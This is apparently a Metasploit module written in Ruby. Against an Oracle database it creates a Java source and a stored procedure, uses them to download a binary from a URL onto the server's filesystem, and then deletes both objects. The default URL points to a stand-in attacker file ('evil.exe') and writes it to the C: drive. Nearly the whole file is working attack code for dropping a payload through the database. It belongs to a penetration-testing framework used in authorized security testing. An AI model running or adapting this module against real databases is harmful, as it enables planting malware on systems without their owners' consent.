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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::ORACLE
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Oracle URL Download',
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        'Description' => %q{
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          This module will create a Java class which enables the download
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          of a binary from a webserver to the Oracle filesystem.
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        },
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        'Author' => [ 'CG' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'URL', 'http://www.argeniss.com/research/oraclesqlinj.zip' ],
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        ],
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        'DisclosureDate' => '2005-02-10',
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('URL', [false, 'The URL to download the binary from.', 'http://www.meh.com/evil.exe']),
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        OptString.new('COPYTO', [false, 'Location to copy the binary to', 'c:\\meh.exe']),
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      ]
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    )
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  end
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  def run
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    return if !check_dependencies
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    java = <<~EOF
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      CREATE OR REPLACE JAVA SOURCE NAMED SRC_FILE_UPLOAD AS
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      import java.lang.*;
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      import java.io.*;
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      public class FileUpload
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      {
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        public static void fileUpload(String myFile, String url) throws IOException
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        {
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          File binaryFile = new File(myFile);
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          FileOutputStream outStream = new  FileOutputStream(binaryFile);
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          java.net.URL u = new java.net.URL(url);
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          java.net.URLConnection uc = u.openConnection();
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          InputStream is = (InputStream)uc.getInputStream();
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          BufferedReader in = new BufferedReader (new InputStreamReader (is));
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          byte buffer[] = new byte[1024];
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          int length = -1;
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          while ((length = is.read(buffer)) != -1) {
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            outStream.write(buffer, 0, length);
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            outStream.flush();
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          }
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          is.close(); outStream.close();
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        }
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      };;
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    EOF
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    procedure = <<~EOF
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      CREATE OR REPLACE PROCEDURE PROC_FILEUPLOAD (p_file varchar2, p_url varchar2)
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      as language java
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      NAME 'FileUpload.fileUpload (java.lang.String, java.lang.String)';
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    EOF
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    exec = "begin PROC_FILEUPLOAD ('#{datastore['COPYTO']}', '#{datastore['URL']}'); end;"
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    drops = 'drop java source SRC_FILE_UPLOAD'
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    dropp = 'drop procedure PROC_FILEUPLOAD'
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    begin
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      print_status("Creating java source 'SRC_FILE_UPLOAD'...")
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      prepare_exec(java)
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    rescue StandardError
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      return
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    end
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    print_status("Creating procedure 'PROC_FILEUPLOAD'...")
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    prepare_exec(procedure)
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    print_status("Trying to download binary from #{datastore['URL']} to #{datastore['COPYTO']}")
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    prepare_exec(exec)
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    print_status("Removing java source 'SRC_FILE_UPLOAD'...")
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    prepare_exec(drops)
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    print_status("Removing procedure 'PROC_FILEUPLOAD'...")
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    prepare_exec(dropp)
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  end
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end
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